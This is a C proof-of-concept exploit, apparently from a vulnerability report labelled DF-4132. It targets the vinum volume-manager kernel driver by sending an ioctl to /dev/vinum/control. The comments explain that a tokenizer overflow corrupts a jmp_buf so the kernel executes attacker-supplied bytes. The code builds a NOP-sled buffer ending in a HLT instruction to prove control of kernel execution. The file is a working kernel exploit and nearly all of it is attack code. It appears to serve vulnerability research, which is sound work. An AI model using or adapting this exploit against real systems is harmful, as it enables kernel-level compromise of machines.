DF-4132 / vinum_codeexec.c
/* * DF-4132 PoC stage 2: prove control over the executed instruction stream. * * Stage 1 (vinum_tokensmash 500) showed the tokenize overflow smashing the * command_fail jmp_buf: longjmp() restored a corrupted RIP that pointed into * the ioctl buffer and the kernel executed our token bytes (0x61 'a' = POPAL, * hence "privileged instruction fault ... popal"). * * Stage 2 builds the config line from single 0x90 (NOP) pad tokens with a * final 0xf4 (HLT) token, so that every byte region the corrupted RIP can * land on is either a NOP sled or the trailing HLT. If the kernel executes * our buffer the panic signature must be "privileged instruction fault" * stopped at: hlt (or a fault while running nops), not popal. */ #include <sys/types.h> #include <sys/ioccom.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #define BUFSIZE 1024 #define VINUM_CREATE _IOC(IOC_INOUT, 'F', 64, BUFSIZE) int main(void) { char buf[BUFSIZE]; int fd, rc, i = 0, ntok = 0; fd = open("/dev/vinum/control", O_RDWR); if (fd < 0) { perror("open /dev/vinum/control"); return 1; } memset(buf, 0, sizeof(buf)); buf[i++] = 'd'; buf[i++] = 'r'; buf[i++] = 'i'; buf[i++] = 'v'; buf[i++] = 'e'; buf[i++] = ' '; ntok++; /* quoted 256-byte NOP sled token; quote must be followed by space */ buf[i++] = '"'; while (i < 16 + 7) buf[i++] = (char)0x90; buf[i++] = '"'; buf[i++] = ' '; ntok++; /* pad tokens: one 0x90 byte each, so the tail is a NOP stream */ while (i < (int)sizeof(buf) - 4) { buf[i++] = (char)0x90; buf[i++] = ' '; ntok++; } /* final token: 0xf4 HLT */ buf[i - 2] = (char)0xf4; printf("sending %d bytes, %d tokens (all NOPs, last token HLT)\n", i, ntok); rc = ioctl(fd, VINUM_CREATE, buf); printf("ioctl rc=%d errno=%d reply.error=%d\n", rc, errno, *(int *)buf); printf("still alive\n"); return 0; } |